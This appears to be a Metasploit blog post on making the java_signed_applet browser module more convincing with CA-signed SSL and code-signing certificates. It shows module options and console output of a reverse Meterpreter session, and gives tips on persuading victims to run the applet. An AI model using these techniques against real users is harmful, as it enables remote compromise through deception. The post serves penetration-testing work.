Last updated at Tue, 16 Jan 2024 16:11:36 GMT

The best exploits are often not exploits at all -- they are code execution by design. One of my favorite examples of this is a signed java applet. If an applet is signed, the jvm allows it to run outside the normal security sandbox, giving it full access to do anything the user can do.

Metasploit has supported using signed applets as a browser exploit for quite awhile, but over the last week there have been a couple of improvements that might help you get more shells. The first of these improvements is replacing RJB signing (which requires a JDK and was somewhat difficult to get working) with OpenSSL (which works out of the box with a default Ruby installation). That led directly to the second major improvement: once the RJB dependency went away, it was a lot easier to support user-supplied certificates.

In a somewhat related change, all TCP server exploits (including all browser exploits, such as java_signed_applet) now accept arbitrary SSL certificates. Here's what it looks like from the attacker's perspective:

msf exploit(java_signed_applet) > show options

Module options (exploit/multi/browser/java_signed_applet):
   Name            Current Setting  Required  Description
      ----            ---------------  --------  -----------
         APPLETNAME      SiteLoader       yes       The main applet's class name.
            CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
            SRVHOST          yes       The local host to listen on. This must be an address on the local machine or
            SRVPORT         443              yes       The local port to listen on.   
            SSL             true             no        Negotiate SSL for incoming connections   
            SSLCert  no        Path to a custom SSL certificate (default is randomly generated)   
            SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)   
            SigningCert  no        Path to a signing certificate in PEM or PKCS12 (.pfx) format   
            SigningKey                       no        Path to a signing key in PEM format   
            SigningKeyPass  password         no        Password for signing key (required if SigningCert is a .pfx)   
            URIPATH         /                no        The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):

Name   Current Setting  Required  Description
      ----   ---------------  --------  -----------
      LHOST   yes       The listen address
      LPORT  4444             yes       The listen port
     Exploit target:
       Id  Name
       --  ----
        0   Generic (Java Payload)
      msf exploit(java_signed_applet) > exploit
       [] Exploit running as background job.
] Started reverse handler on
       [] Using URL:
]  Local IP:
       [] Server started. msf exploit(java_signed_applet) >
] Sending stage (27642 bytes) to
       [*] Meterpreter session 1 opened ( -> at 2011-05-26 18:30:13 -0600

There are two options above with which we are primarily concerned. First, SSLCert is a file containing a CA-signed SSL certificate in PEM format. Second, SigningCert is a PKCS12 file that came back from a code signing CA. I found no official list of CAs that java will accept, but has a pretty good list. SigningCert will also accept a PEM file, but note that you have to include a cert chain leading back to a trusted root for Java to trust the jar. If you have them in different files, you can just concatenate the PEM versions of the certs in the chain.

Before these changes (and now if you don't provide a CA-signed cert), this is what the victim would see on recent JVMs:

Of particular note is that recent JVMs don't display the cert's CN in the Publisher line any more unless the cert is trusted. Also notice that "Always trust" is unchecked by default. With the provided SSLCert, the victim's browser will give all normal indications that the site is legitimate -- a lock, a different colored url bar, whatever. Once the applet loads, this is what the victim will see on an old JVM (1.6.0_20):

I'm betting tons of people will click "Run" without thinking twice. Some time since 1.6.0_20, the text changed. Here is the same dialog on 1.6.0_25 (latest):

Notice the text at the bottom has become much scarier. "This application will run with unrestricted access" sounds a little more dangerous than "validated by a trusted source." Also, the window title is no longer a "Warning", merely "Information," and the default is still to "Always trust." It's quite likely that a lot of people will still click.


Unfortunately, IE protected mode can give us some headaches. To go from running inside the browser to running independently, we have to write an executable of some sort.  Normally for java payloads, this is just the same jar used for the applet, executed again with java. Writing it out is fine and dandy. Where we run into issues is executing it. Since we're running outside of protected mode in IE7 , the user gets an ugly popup:

Eww. One way around this is to use java meterpreter instead of native and set Spawn 0 which prevents running outside of IE. The problem with this approach, of course, is that if the victim closes the browser, you lose your shell. Additionally, running any outside executable (including tasklist.exe when you type 'ps' in java meterpreter) still invokes the popup and since it's not necessarily associated with any website at that point, the user is pretty likely to freak out and click "Don't allow".


You now have a way to make your signed applets look a lot more convincing. Code signing certs are pretty cheap -- around a hundred bucks. Grabbing a domain and cert for when you're pentesting will be worth it's weight in shells. Unfortunately, recent mitigations in IE make it somewhat less likely to get high click rates. On the other hand, it probably doesn't matter that much, since one shell is all it takes.

If you have any ideas for dealing with protected mode, please contact me in #metasploit on Freenode, or @egyp7 on twitter.